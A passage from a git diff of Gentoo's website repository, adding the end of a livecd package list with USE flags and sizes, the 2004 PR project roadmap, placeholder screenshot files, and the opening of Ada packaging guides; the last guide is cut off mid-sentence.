+sys-fs/sysfsutils	771 kB
+sys-fs/udev	USE="(-selinux)" 438 kB
+sys-fs/xfsdump	568 kB
+sys-fs/xfsprogs	USE="nls" 982 kB
+sys-kernel/genkernel	USE="-bash-completion (-ibm) (-selinux)" 6,627 kB
+sys-kernel/gentoo-sources	USE="-build -symlink" 0 kB
+sys-kernel/linux-headers	3,509 kB
+sys-libs/cracklib	USE="nls python" 580 kB
+sys-libs/db	USE="-doc -java -nocxx -tcl -test" 11,649 kB
+sys-libs/e2fsprogs-libs	USE="nls" 479 kB
+sys-libs/gdbm	USE="berkdb" 224 kB
+sys-libs/glibc	USE="(multilib) nls -debug -gd -glibc-omitfp (-hardened) -profile (-selinux) -vanilla" 16,621 kB
+sys-libs/gpm	USE="(-selinux)" 1,269 kB
+sys-libs/libcap	USE="pam" 48 kB
+sys-libs/libieee1284	USE="-doc" 273 kB
+sys-libs/libkudzu	USE="zlib" 162 kB
+sys-libs/libutempter	15 kB
+sys-libs/ncurses	USE="gpm unicode -debug -doc -minimal -nocxx -profile -trace" 2,353 kB
+sys-libs/pam	USE="cracklib nls -audit (-selinux) -test -vim-syntax" 982 kB
+sys-libs/readline	2,224 kB
+sys-libs/slang	USE="pcre png readline -cjk" 1,254 kB
+sys-libs/timezone-data	USE="nls" 361 kB
+sys-libs/zlib	0 kB
+sys-power/acpid	83 kB
+sys-power/apcupsd	USE="gnome nls usb -cgi -snmp" 4,170 kB
+sys-power/pm-utils	USE="alsa -debug -networkmanager -ntp" VIDEO_CARDS="intel radeon" 171 kB
+sys-power/powernowd	20 kB
+sys-power/powertop	USE="unicode" 68 kB
+sys-process/acct	301 kB
+sys-process/atop	154 kB
+sys-process/cronbase	0 kB
+sys-process/htop	USE="unicode -debug" 406 kB
+sys-process/iotop	335 kB
+sys-process/lsof	USE="(-selinux) -static" 761 kB
+sys-process/procps	USE="(-n32)" 276 kB
+sys-process/psmisc	USE="X* ipv6 nls (-selinux)" 277 kB
+sys-process/vixie-cron	USE="pam -debug (-selinux)" 58 kB
+virtual/acl	0 kB
+virtual/cdrtools	0 kB
+virtual/editor	0 kB
+virtual/eject	0 kB
+virtual/emacs	0 kB
+virtual/ghostscript	0 kB
+virtual/glu	0 kB
+virtual/glut	0 kB
+virtual/init	0 kB
+virtual/jdk	0 kB
+virtual/jre	0 kB
+virtual/latex-base	0 kB
+virtual/libiconv	0 kB
+virtual/libintl	0 kB
+virtual/libusb	0 kB
+virtual/mysql	0 kB
+virtual/opengl	0 kB
+virtual/pager	0 kB
+virtual/perl-Archive-Tar	0 kB
+virtual/perl-Compress-Raw-Bzip2	0 kB
+virtual/perl-Compress-Raw-Zlib	0 kB
+virtual/perl-digest-base	0 kB
+virtual/perl-Digest-MD5	0 kB
+virtual/perl-ExtUtils-CBuilder	0 kB
+virtual/perl-ExtUtils-ParseXS	0 kB
+virtual/perl-IO-Compress	0 kB
+virtual/perl-IO-Zlib	0 kB
+virtual/perl-libnet	0 kB
+virtual/perl-MIME-Base64	0 kB
+virtual/perl-Module-Build	0 kB
+virtual/perl-Package-Constants	0 kB
+virtual/perl-Scalar-List-Utils	0 kB
+virtual/perl-Storable	0 kB
+virtual/perl-Sys-Syslog	0 kB
+virtual/perl-Test-Simple	0 kB
+virtual/poppler	0 kB
+virtual/poppler-glib	USE="cairo" 0 kB
+virtual/poppler-qt4	0 kB
+virtual/poppler-utils	USE="abiword" 0 kB
+virtual/tex-base	0 kB
+www-client/arora	USE="-debug" LINGUAS="gl* -cs -da -de -es -es_CR -et_EE -fr -fr_CA -he -hu -it -ja -ms -nb_NO -nl -pl -ru -sk -tr -uk -zh_CN" 876 kB
+www-client/elinks	USE="X bzip2 gpm ipv6 nls perl ssl unicode zlib -bittorrent -debug -finger -ftp -gopher -guile -idn -javascript -lua -nntp -ruby" 2,535 kB
+www-client/epiphany	USE="python spell -avahi -debug -doc -networkmanager" 5,524 kB
+www-client/epiphany-extensions	USE="dbus pcre python -debug -examples" 0 kB
+www-client/galeon	USE="xulrunner -debug -seamonkey" 3,029 kB
+www-client/httrack	1,626 kB
+www-client/links	USE="X bzip2 gpm jpeg livecd png sdl ssl tiff unicode zlib -directfb -fbcon (-svga)" 3,747 kB
+www-client/lynx	USE="bzip2 ipv6 nls ssl unicode -cjk -gnutls" 2,376 kB
+www-client/mozilla-firefox	USE="alsa bindist dbus gnome startup-notification -custom-optimization -iceweasel -java -mozdevelop -restrict-javascript" LINGUAS="bn* ca* cy* en* eo* eu* fa* gl* gu_IN* id* kk* ku* mn* -af -ar -as -be -bg -bn_BD -bn_IN -cs -da -de -el -en_GB -en_US -es -es_AR -es_CL -es_ES -es_MX -et -fi -fr -fy -fy_NL -ga -ga_IE -gu -he -hi -hi_IN -hr -hu -is -it -ja -ka -kn -ko -lt -lv -mk -ml -mr -nb -nb_NO -nl -nn -nn_NO -oc -or -pa -pa_IN -pl -pt -pt_BR -pt_PT -rm -ro -ru -si -sk -sl -sq -sr -sv -sv_SE -ta -ta_LK -te -th -tr -uk -vi -zh_CN -zh_TW" 1,668 kB
+www-client/mozilla-launcher	7 kB
+www-client/opera	USE="gnome -ia32 -qt-static -qt3" LINGUAS="id* -be -bg -cs -da -de -el -en_GB -es_ES -es_LA -et -fi -fr -fr_CA -fy -hi -hr -hu -it -ja -ka -ko -lt -mk -nb -nl -nn -pl -pt -pt_BR -ro -ru -sk -sr -sv -ta -te -tr -uk -zh_CN -zh_HK -zh_TW" 9,046 kB
+www-client/seamonkey	USE="crypt gnome ipv6 ldap -debug -java -mozdevelop -moznocompose -moznoirc -moznomail -moznopango -moznoroaming -postgres -xforms -xinerama" 38,383 kB
+www-misc/htdig	USE="ssl" 3,033 kB
+www-plugins/gecko-mediaplayer	USE="gnome" 250 kB
+x11-apps/appres	USE="-debug" 84 kB
+x11-apps/bdftopcf	USE="-debug" 74 kB
+x11-apps/iceauth	USE="-debug" 95 kB
+x11-apps/luit	USE="-debug" 103 kB
+x11-apps/mesa-progs	1,348 kB
+x11-apps/mkfontdir	USE="-debug" 69 kB
+x11-apps/mkfontscale	USE="-debug" 99 kB
+x11-apps/rgb	USE="-debug" 102 kB
+x11-apps/sessreg	USE="-debug" 94 kB
+x11-apps/setxkbmap	USE="-debug" 91 kB
+x11-apps/xauth	USE="ipv6 -debug" 110 kB
+x11-apps/xclock	USE="-debug" 112 kB
+x11-apps/xdpyinfo	USE="-debug -dga -dmx -xinerama" 101 kB
+x11-apps/xhost	USE="ipv6 -debug" 96 kB
+x11-apps/xinit	USE="hal pam -debug -minimal" 115 kB
+x11-apps/xkbcomp	USE="-debug" 197 kB
+x11-apps/xmessage	USE="-debug" 93 kB
+x11-apps/xmodmap	USE="-debug" 101 kB
+x11-apps/xprop	USE="-debug" 107 kB
+x11-apps/xrandr	USE="-debug" 109 kB
+x11-apps/xrdb	USE="-debug" 100 kB
+x11-apps/xset	USE="-debug" 102 kB
+x11-apps/xsetroot	USE="-debug" 87 kB
+x11-apps/xsm	USE="-debug" 115 kB
+x11-apps/xwininfo	USE="-debug" 100 kB
+x11-base/xorg-drivers	INPUT_DEVICES="evdev keyboard mouse synaptics -acecad -aiptek -citron -elographics -fpit -hyperpen -joystick -mutouch -penmount -tslib -virtualbox -vmmouse -void -wacom" VIDEO_CARDS="ast chips cirrus fbdev glint i128 intel mach64 mga neomagic nv r128 radeon radeonhd s3virge savage tdfx trident tseng v4l vesa via vmware -apm* -ark* -dummy -epson -fglrx (-geode) (-i740) (-impact) (-imstt) (-newport) -nvidia -rendition -s3 -siliconmotion -sis* -sisusb (-sunbw2) (-suncg14) (-suncg3) (-suncg6) (-sunffb) (-sunleo) (-suntcx) -tga (-vermilion) -virtualbox (-voodoo) (-xgi)" 0 kB
+x11-base/xorg-server	USE="hal ipv6 nptl sdl xorg -debug -dmx -kdrive -minimal -tslib" 4,569 kB
+x11-base/xorg-x11	0 kB
+x11-drivers/xf86-input-evdev	USE="hal -debug" 0 kB
+x11-drivers/xf86-input-keyboard	USE="-debug" 0 kB
+x11-drivers/xf86-input-mouse	USE="-debug" 0 kB
+x11-drivers/xf86-input-synaptics	USE="hal -debug" 280 kB
+x11-drivers/xf86-video-ast	USE="-debug" 0 kB
+x11-drivers/xf86-video-ati	USE="-debug" 0 kB
+x11-drivers/xf86-video-chips	USE="-debug" 0 kB
+x11-drivers/xf86-video-cirrus	USE="-debug" 269 kB
+x11-drivers/xf86-video-fbdev	USE="-debug" 0 kB
+x11-drivers/xf86-video-glint	USE="dri -debug" 0 kB
+x11-drivers/xf86-video-i128	USE="-debug" 0 kB
+x11-drivers/xf86-video-intel	USE="dri -debug" 0 kB
+x11-drivers/xf86-video-mach64	USE="dri -debug" 0 kB
+x11-drivers/xf86-video-mga	USE="dri -debug" 0 kB
+x11-drivers/xf86-video-neomagic	USE="-debug" 0 kB
+x11-drivers/xf86-video-nv	USE="-debug" 0 kB
+x11-drivers/xf86-video-openchrome	USE="dri -debug" 0 kB
+x11-drivers/xf86-video-r128	USE="dri -debug" 0 kB
+x11-drivers/xf86-video-radeonhd	USE="-debug" 0 kB
+x11-drivers/xf86-video-s3virge	USE="-debug" 0 kB
+x11-drivers/xf86-video-savage	USE="dri -debug" 0 kB
+x11-drivers/xf86-video-tdfx	USE="dri -debug" 0 kB
+x11-drivers/xf86-video-trident	USE="-debug" 0 kB
+x11-drivers/xf86-video-tseng	USE="-debug" 0 kB
+x11-drivers/xf86-video-v4l	USE="-debug" 0 kB
+x11-drivers/xf86-video-vesa	USE="-debug" 0 kB
+x11-drivers/xf86-video-vmware	USE="-debug" 0 kB
+x11-libs/cairo	USE="X opengl svg -cleartype -debug -directfb -doc -glitz -xcb" 6,491 kB
+x11-libs/gksu	USE="gnome -debug -doc" 458 kB
+x11-libs/goffice	USE="gnome -debug -doc" 1,726 kB
+x11-libs/goffice	USE="gnome -debug -doc" 1,952 kB
+x11-libs/gtk+	USE="nls -debug" LINGUAS="ca* eu* gl* -az -cs -da -de -el -es -et -fi -fr -ga -hr -hu -it -ja -ko -lt -nl -nn -no -pl -pt -pt_BR -ro -ru -sk -sl -sr -sv -tr -uk -vi" 2,881 kB
+x11-libs/gtk+	USE="X cups jpeg tiff -debug -doc -jpeg2k -test -vim-syntax -xinerama" 18,085 kB
+x11-libs/gtkglext	USE="-debug" 0 kB
+x11-libs/gtksourceview	USE="-debug -doc" 903 kB
+x11-libs/gtksourceview	USE="-debug -doc" 767 kB
+x11-libs/libdrm	USE="-debug" 551 kB
+x11-libs/libfontenc	USE="-debug" 219 kB
+x11-libs/libgksu	USE="nls -debug -doc" 505 kB
+x11-libs/libICE	USE="ipv6 -debug" 247 kB
+x11-libs/libnotify	356 kB
+x11-libs/libpciaccess	USE="-debug -minimal" 255 kB
+x11-libs/libsexy	USE="-debug -doc" 262 kB
+x11-libs/libSM	USE="ipv6 -debug" 247 kB
+x11-libs/libwnck	USE="-debug -doc" 677 kB
+x11-libs/libX11	USE="ipv6 -debug -xcb" 1,548 kB
+x11-libs/libXau	USE="-debug" 223 kB
+x11-libs/libXaw	USE="-debug" 502 kB
+x11-libs/libxcb	USE="-debug -doc" 433 kB
+x11-libs/libXcomposite	USE="-debug" 213 kB
+x11-libs/libXcursor	USE="-debug" 230 kB
+x11-libs/libXdamage	USE="-debug" 197 kB
+x11-libs/libXdmcp	USE="-debug" 216 kB
+x11-libs/libXext	USE="-debug" 259 kB
+x11-libs/libXfixes	USE="-debug" 210 kB
+x11-libs/libXfont	USE="ipv6 -debug" 401 kB
+x11-libs/libXfontcache	USE="-debug" 210 kB
+x11-libs/libXft	USE="-debug" 262 kB
+x11-libs/libXi	USE="-debug" 274 kB
+x11-libs/libXinerama	USE="-debug" 231 kB
+x11-libs/libxkbfile	USE="-debug" 254 kB
+x11-libs/libxkbui	USE="-debug" 217 kB
+x11-libs/libxklavier	USE="-doc" 452 kB
+x11-libs/libXmu	USE="ipv6 -debug" 299 kB
+x11-libs/libXp	USE="-debug" 239 kB
+x11-libs/libXpm	USE="-debug" 350 kB
+x11-libs/libXrandr	USE="-debug" 246 kB
+x11-libs/libXrender	USE="-debug" 222 kB
+x11-libs/libXres	USE="-debug" 214 kB
+x11-libs/libXScrnSaver	USE="-debug" 215 kB
+x11-libs/libXt	USE="-debug" 489 kB
+x11-libs/libXtst	USE="-debug" 220 kB
+x11-libs/libXv	USE="-debug" 224 kB
+x11-libs/libXvMC	USE="-debug" 0 kB
+x11-libs/libXxf86dga	USE="-debug" 213 kB
+x11-libs/libXxf86misc	USE="-debug" 218 kB
+x11-libs/libXxf86vm	USE="-debug" 235 kB
+x11-libs/pango	USE="X -debug -doc -test" 1,485 kB
+x11-libs/pixman	USE="mmx sse2 (-altivec) -debug" 345 kB
+x11-libs/qt	USE="cups ipv6 opengl -debug -doc -examples (-firebird) -immqt -immqt-bc -mysql -nas -nis -odbc -postgres -sqlite -xinerama" 16,909 kB
+x11-libs/qt-assistant	USE="-debug -pch" 0 kB
+x11-libs/qt-core	USE="iconv qt3support ssl -debug -doc -glib -pch" 113,297 kB
+x11-libs/qt-dbus	USE="-debug -pch" 0 kB
+x11-libs/qt-gui	USE="accessibility cups dbus mng qt3support tiff -debug -glib -gtk -nas -nis -pch -raster -xinerama" 0 kB
+x11-libs/qt-opengl	USE="qt3support -debug -pch" 0 kB
+x11-libs/qt-qt3support	USE="accessibility kde -debug -pch -phonon" 0 kB
+x11-libs/qt-script	USE="iconv -debug -pch" 0 kB
+x11-libs/qt-sql	USE="iconv qt3support sqlite -debug (-firebird) -mysql -odbc -pch -postgres" 0 kB
+x11-libs/qt-svg	USE="iconv -debug -pch" 0 kB
+x11-libs/qt-test	USE="iconv -debug -pch" 0 kB
+x11-libs/qt-webkit	USE="kde -debug -pch" 0 kB
+x11-libs/qt-xmlpatterns	USE="-debug -pch" 0 kB
+x11-libs/qtscriptgenerator	USE="kde -debug" 366 kB
+x11-libs/startup-notification	221 kB
+x11-libs/vte	USE="opengl python -debug -doc" 0 kB
+x11-libs/wxGTK	USE="X gnome opengl sdl unicode -debug -doc -odbc -pch" 18,617 kB
+x11-libs/xtrans	USE="-debug" 102 kB
+x11-misc/alacarte	176 kB
+x11-misc/cairo-clock	1,220 kB
+x11-misc/gccmakedep	USE="-debug" 69 kB
+x11-misc/icon-naming-utils	69 kB
+x11-misc/imake	USE="-debug" 111 kB
+x11-misc/makedepend	USE="-debug" 106 kB
+x11-misc/menumaker	49 kB
+x11-misc/mkxf86config	7 kB
+x11-misc/notification-daemon	USE="gstreamer -debug" 395 kB
+x11-misc/obconf	USE="nls" 262 kB
+x11-misc/read-edid	83 kB
+x11-misc/shared-mime-info	447 kB
+x11-misc/util-macros	48 kB
+x11-misc/xbitmaps	55 kB
+x11-misc/xdg-utils	USE="-doc" 276 kB
+x11-misc/xkeyboard-config	559 kB
+x11-misc/xorg-cf-files	259 kB
+x11-misc/xscreensaver	USE="jpeg opengl pam -new-login -suid -xinerama" 5,339 kB
+x11-plugins/enigmail	LINGUAS="ca -ar -cs -de -el -es -es_ES -fi -fr -hu -it -ja -ko -nb -nb_NO -pl -pt -pt_BR -ro -ru -sk -sl -sv -tr -zh -zh_CN" 39,571 kB
+x11-plugins/pidgin-encryption	USE="nls" 573 kB
+x11-plugins/pidgin-extprefs	325 kB
+x11-proto/bigreqsproto	36 kB
+x11-proto/compositeproto	45 kB
+x11-proto/damageproto	41 kB
+x11-proto/dri2proto	51 kB
+x11-proto/fixesproto	38 kB
+x11-proto/fontcacheproto	38 kB
+x11-proto/fontsproto	45 kB
+x11-proto/glproto	57 kB
+x11-proto/inputproto	57 kB
+x11-proto/kbproto	57 kB
+x11-proto/printproto	49 kB
+x11-proto/randrproto	74 kB
+x11-proto/recordproto	39 kB
+x11-proto/renderproto	53 kB
+x11-proto/resourceproto	36 kB
+x11-proto/scrnsaverproto	38 kB
+x11-proto/trapproto	48 kB
+x11-proto/videoproto	42 kB
+x11-proto/xcb-proto	71 kB
+x11-proto/xcmiscproto	36 kB
+x11-proto/xextproto	78 kB
+x11-proto/xf86bigfontproto	37 kB
+x11-proto/xf86dgaproto	43 kB
+x11-proto/xf86driproto	43 kB
+x11-proto/xf86miscproto	38 kB
+x11-proto/xf86rushproto	37 kB
+x11-proto/xf86vidmodeproto	39 kB
+x11-proto/xineramaproto	38 kB
+x11-proto/xproto	149 kB
+x11-terms/gnome-terminal	USE="-debug" 1,841 kB
+x11-terms/terminal	USE="dbus -debug -doc" 1,754 kB
+x11-terms/xterm	USE="truetype unicode -Xaw3d -toolbar" 850 kB
+x11-themes/gdm-themes-livecd	141 kB
+x11-themes/gentoo-artwork-livecd	3,673 kB
+x11-themes/gnome-backgrounds	9,667 kB
+x11-themes/gnome-icon-theme	3,405 kB
+x11-themes/gnome-themes	USE="-accessibility" 1,471 kB
+x11-themes/gtk-engines	USE="-accessibility -debug" 575 kB
+x11-themes/gtk-engines-qt	USE="gnome (-aqua)" LINGUAS="-bg -cs -de -es -fr -it -nn -ru -sv -tr" 57 kB
+x11-themes/gtk-engines-qtcurve	USE="firefox3 mozilla" 114 kB
+x11-themes/gtk-engines-xfce	275 kB
+x11-themes/hicolor-icon-theme	33 kB
+x11-themes/qtcurve-qt4	USE="kde (-aqua)" 162 kB
+x11-themes/sound-theme-freedesktop	833 kB
+x11-themes/tango-icon-theme	USE="png" 1,749 kB
+x11-themes/xfce4-icon-theme	1,765 kB
+x11-wm/afterstep	USE="gif jpeg mmx nls png tiff -debug -xinerama" 5,575 kB
+x11-wm/enlightenment	USE="dbus nls -doc -esd -xcomposite -xinerama -xrandr" 1,816 kB
+x11-wm/fluxbox	USE="gnome imlib nls slit toolbar truetype -vim-syntax -xinerama" 760 kB
+x11-wm/metacity	USE="-debug -xinerama" 2,110 kB
+x11-wm/openbox	USE="nls startup-notification -xinerama" 809 kB
+x11-wm/twm	USE="-debug" 237 kB
+x11-wm/windowmaker	USE="gif jpeg nls png tiff vdesktop -debug -doc -gnustep -modelock -xinerama" 3,119 kB
+xfce-base/exo	USE="hal libnotify python -debug -doc" 1,760 kB
+xfce-base/libxfce4menu	USE="-debug" 395 kB
+xfce-base/libxfce4util	USE="-debug" 396 kB
+xfce-base/libxfcegui4	USE="startup-notification -debug -glade" 636 kB
+xfce-base/thunar	USE="X dbus gnome hal pcre startup-notification trash-plugin -debug -doc -exif" 8,597 kB
+xfce-base/xfce-utils	USE="dbus lock -debug" 600 kB
+xfce-base/xfce4-meta	USE="session -minimal" 0 kB
+xfce-base/xfce4-panel	USE="startup-notification -debug" 848 kB
+xfce-base/xfce4-session	USE="gnome -debug -gnome-keyring -profile" 1,334 kB
+xfce-base/xfce4-settings	USE="keyboard libnotify -debug -sound" 490 kB
+xfce-base/xfconf	USE="perl -debug -profile" 431 kB
+xfce-base/xfdesktop	USE="branding menu-plugin thunar -debug -doc" LINGUAS="ca* eu* -be -cs -da -de -el -es -et -fi -fr -he -hu -it -ja -ko -nb_NO -nl -pa -pl -pt_BR -ro -ru -sk -sv -tr -uk -vi -zh_CN -zh_TW" 3,687 kB
+xfce-base/xfwm4	USE="startup-notification -debug -xcomposite" 1,725 kB
+xfce-extra/thunar-thumbnailers	USE="ffmpeg -grace -latex -raw" 82 kB
+xfce-extra/thunar-volman	USE="-debug" 346 kB
+xfce-extra/xfce4-clipman-plugin	USE="-debug" 619 kB
+xfce-extra/xfce4-mixer	USE="alsa -debug -oss" 403 kB
+xfce-extra/xfce4-notes-plugin	USE="-debug" 355 kB
+xfce-extra/xfce4-places-plugin	USE="-debug" 289 kB
+xfce-extra/xfce4-screenshooter	USE="-debug -zimagez" 1,131 kB
+xfce-extra/xfce4-xkb-plugin	USE="-debug" 751 kB
\ No newline at end of file
diff --git a/xml/htdocs/proj/en/pr/roadmap.xml b/xml/htdocs/proj/en/pr/roadmap.xml
new file mode 100644
index 00000000..f285ebab
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/roadmap.xml
@@ -0,0 +1,282 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/en/pr/roadmap.xml">
+<title>Gentoo PR Roadmap</title>
+<author title="Author">
+    <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+
+<abstract>
+As with any project, the PR project uses a clearly defined roadmap to guide its
+decisions. 
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>February 16, 2004</date>
+
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>What is this roadmap for?</title>
+<body>
+
+<p>
+A roadmap provides people (both members and interested parties) with a
+description to where a project is heading. Such a roadmap should be seen as the
+official "Where are we going tomorrow?" answer that some people might ask.
+</p>
+
+</body>
+</section>
+<section>
+<title>Why are there 4 roadmaps?</title>
+<body>
+
+<p>
+The PR project has four subprojects witch each its own roadmap declaration.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Roadmap for the Presentation Project</title>
+<section>
+<title>Create an Official Presentation Style</title>
+<body>
+
+<table>
+<tr>
+  <th>Current Status</th>
+  <ti>
+    A couple of styles have been finished and are waiting to be uploaded to an
+    official location
+  </ti>
+</tr>
+<tr>
+  <th>Developers</th>
+  <ti>
+  </ti>
+</tr>
+<tr>
+  <th>Contributors</th>
+  <ti>
+    <mail link="shough@chartermi.net">Simon P. Hough</mail> (Development)
+  </ti>
+</tr>
+</table>
+
+<p>
+Simon P. Hough has been very active lately in the development of a graphical
+style that can be used for Gentoo presentation templates. The main efforts that
+need to go in this direction is to improve those styles so they all match and
+can be used with any possible Gentoo presentation.
+</p>
+
+<p>
+This means that the styles must be broad enough so that they can be used with
+any subject (for instance history, development, documentation, future, ...).
+</p>
+
+<p>
+The current images are: <uri link="/images/pr/community.png">community</uri>,
+<uri link="/images/pr/direction.png">direction</uri>, <uri
+link="/images/pr/history.png">history</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Create a Presentation-HOWTO</title>
+<body>
+
+<table>
+<tr>
+  <th>Current Status</th>
+  <ti>Draft Committed</ti>
+</tr>
+<tr>
+  <th>Developers</th>
+</tr>
+<tr>
+  <th>Contributors</th>
+  <ti></ti>
+</tr>
+</table>
+
+<p>
+As Gentoo becomes more mature every day, it is vital that the presentations we
+give about Gentoo use a consistent layout and are professional-looking. Although
+we don't want to force developers into using our presentation styles (and
+possibly content) they are advised to read up on a guide that explains them how
+professional presentations are made.
+</p>
+
+<p>
+This guide should not only contain pointers to succesful presentation tips, but
+also provide a technical rundown on the requirements we give in order to accept
+a presentation as "Gentoo official". This means that the used fonts, styles,
+content separation, structure, ... should be all well-defined.
+</p>
+
+<p>
+The draft is available as the <uri
+link="/proj/en/pr/docs/howto-presentation.xml">Presentation-HOWTO</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Maintain a Presentation Repository</title>
+<body>
+
+<table>
+<tr>
+  <th>Current Status</th>
+  <ti>(<e>Depends</e>) Waiting for the Presentation-HOWTO</ti>
+</tr>
+<tr>
+  <th>Developers</th>
+  <ti></ti>
+</tr>
+<tr>
+  <th>Contributors</th>
+  <ti></ti>
+</tr>
+</table>
+
+<p>
+In many cases developers are interested in giving presentations but don't find
+the necessary resources to create a presentation themselves. We should be able
+to provide "off the shelf" presentations with <e>correct</e> and <e>up to
+date</e> information about Gentoo or a specific Gentoo subject that developers
+(or interested people) can use.
+</p>
+
+</body>
+</section>
+<section>
+<title>Project Mission Statements and Development</title>
+<body>
+
+<table>
+<tr>
+  <th>Current Status</th>
+  <ti>(<e>Depends</e>) Waiting for Presentation-HOWTO</ti>
+</tr>
+<tr>
+  <th>Developers</th>
+  <ti></ti>
+</tr>
+<tr>
+  <th>Contributors</th>
+  <ti></ti>
+</tr>
+</table>
+
+<p>
+Every Gentoo project is required to have a well-written Mission Statement and
+sort-of roadmap. This information can be used to create presentations on each of
+the available projects. As Gentoo is a volunteer-driven project it is
+important that the community knows what projects are alive, what their mission
+statement is, what they have achieved already and where they are heading to.
+</p>
+
+<p>
+By providing presentations on each of the projects users should be able to
+quickly grasp the essence of the projects. These presentations can also be used
+on the various community happenings to provide Gentoo with more visibility to
+the outside world.
+</p>
+
+</body>
+</section>
+<section>
+<title>Create Hand-Outs and Press Maps</title>
+<body>
+
+<table>
+<tr>
+  <th>Current Status</th>
+  <ti>Not yet started</ti>
+</tr>
+<tr>
+  <th>Developers</th>
+  <ti></ti>
+</tr>
+<tr>
+  <th>Contributors</th>
+  <ti></ti>
+</tr>
+</table>
+
+<p>
+For Gentoo to become (and stay) a top-level distribution we must not focus only
+to the Linux community, but also to more professional institutes, companies
+and other environments.
+</p>
+
+<p>
+In many cases a decent press-map (which contains information about Gentoo, a
+collection of the slides given at the presentation, paper on which people can
+make notes, ...) is required before a presentation on Gentoo can be given at
+such formal events.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Roadmap for the Press Coverage Project</title>
+<section>
+<body>
+<p/>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Roadmap for the Events Project</title>
+<section>
+<title>Maintain an Events Listing</title>
+<body>
+
+<table>
+<tr>
+  <th>Current Status</th>
+  <ti>Not started yet</ti>
+</tr>
+<tr>
+  <th>Developers</th>
+  <ti></ti>
+</tr>
+<tr>
+  <th>Contributors</th>
+  <ti></ti>
+</tr>
+</table>
+
+<p>
+An official document should be made available that lists all upcoming events
+Gentoo will attend. It should also provide an overview on the developers that
+will attend the event so people might meet face-to-face.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Roadmap for the Gentoo Weekly Newsletter Project</title>
+<section>
+<body>
+<p/>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/pr/screenshots/dabbott.png b/xml/htdocs/proj/en/pr/screenshots/dabbott.png
new file mode 100644
index 00000000..6e8cab59
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/screenshots/dabbott.png
diff --git a/xml/htdocs/proj/en/pr/screenshots/likewhoa.png b/xml/htdocs/proj/en/pr/screenshots/likewhoa.png
new file mode 100644
index 00000000..cd0ae9ea
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/screenshots/likewhoa.png
diff --git a/xml/htdocs/proj/en/pr/screenshots/markos.png b/xml/htdocs/proj/en/pr/screenshots/markos.png
new file mode 100644
index 00000000..68dd1117
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/screenshots/markos.png
diff --git a/xml/htdocs/proj/en/pr/screenshots/noel.png b/xml/htdocs/proj/en/pr/screenshots/noel.png
new file mode 100644
index 00000000..26588c0a
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/screenshots/noel.png
diff --git a/xml/htdocs/proj/en/pr/screenshots/xmw.png b/xml/htdocs/proj/en/pr/screenshots/xmw.png
new file mode 100644
index 00000000..a9fd6ca8
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/screenshots/xmw.png
diff --git a/xml/htdocs/proj/en/prog_lang/ada/ada_ug.xml b/xml/htdocs/proj/en/prog_lang/ada/ada_ug.xml
new file mode 100644
index 00000000..2926ca83
--- /dev/null
+++ b/xml/htdocs/proj/en/prog_lang/ada/ada_ug.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="ada_ug.xml" lang="en">
+
+  <title>Ada compilers and packages: a user guide.</title>
+  <author title="Author">
+	  <mail link="george@gentoo.org">George Shapovalov</mail>
+  </author>
+
+  <abstract>
+	This is a short guide on what Ada compilers are available in Gentoo and how to use, select
+	an active one and switch between them.
+  </abstract>
+
+  <version>1.0</version>
+  <date>29 Sep 2007</date>
+
+  <chapter>
+	  <title>Overview</title>
+
+	  <section>
+		  <title>Introduction</title>
+		  <body>
+			  <p>
+				  To be written.
+			  </p>
+		  </body>
+	  </section>
+
+  </chapter>
+</guide>
+
+<!-- vim: set tabstop=2: -->
+<!-- vim: set shiftwidth=2: -->
diff --git a/xml/htdocs/proj/en/prog_lang/ada/dev_reference.xml b/xml/htdocs/proj/en/prog_lang/ada/dev_reference.xml
new file mode 100644
index 00000000..f7635188
--- /dev/null
+++ b/xml/htdocs/proj/en/prog_lang/ada/dev_reference.xml
@@ -0,0 +1,575 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="dev_reference.xml" lang="en" disclaimer="draft">
+
+<title>Developer reference: Internal structure and organization of Ada packages.</title>
+<author title="Author">
+	<mail link="george@gentoo.org">George Shapovalov</mail>
+</author>
+
+<abstract>
+This is a guide to internal workings of the gnat and gnatbuild eclasses and eselect-gnat module,
+as well as an authoritative reference to packaging principles of Ada libs and other 
+related packages. 
+</abstract>
+
+<version>1.0</version>
+<date>28 Sep 2007</date>
+
+<chapter>
+<title>Overview</title>
+
+	<section>
+	<title>Introduction</title>
+	<body>
+		<p>
+		Before you start on the internals of the Ada packages you may want to
+		go through the <uri link="ada_ug.xml">user guide</uri> in case you are not familiar with
+		how to activate the chosen gnat profile and where to look for the important files.
+		</p>
+		<p>
+		Ada related packages can be divided into three important categories:
+		</p>
+		<dl>
+			<dt><b>Compilers and packages that directly extend them.</b></dt>
+			<dd>
+				Currently two closely related "brands" are supported: 
+				<c>gnat-gcc</c> released by FSF and <c>gnat-gpl</c>, the
+				AdaCore version. The primary example of the "extending" package would
+				be <c>asis</c>, as it is closely tied to a particular version of compiler
+				and installs directly to the same locations where the specs and libs
+				of the corresponding gnat go.  The packages in this category should use the 
+				<c>gnatbuild.eclass</c>.
+			</dd>
+			<dt><b>Ada libraries</b></dt>
+			<dd>
+				These are built for every installed gnat and their profile-dependent files are
+				installed to profile specific dirs, similarly to those of gnat, except that they
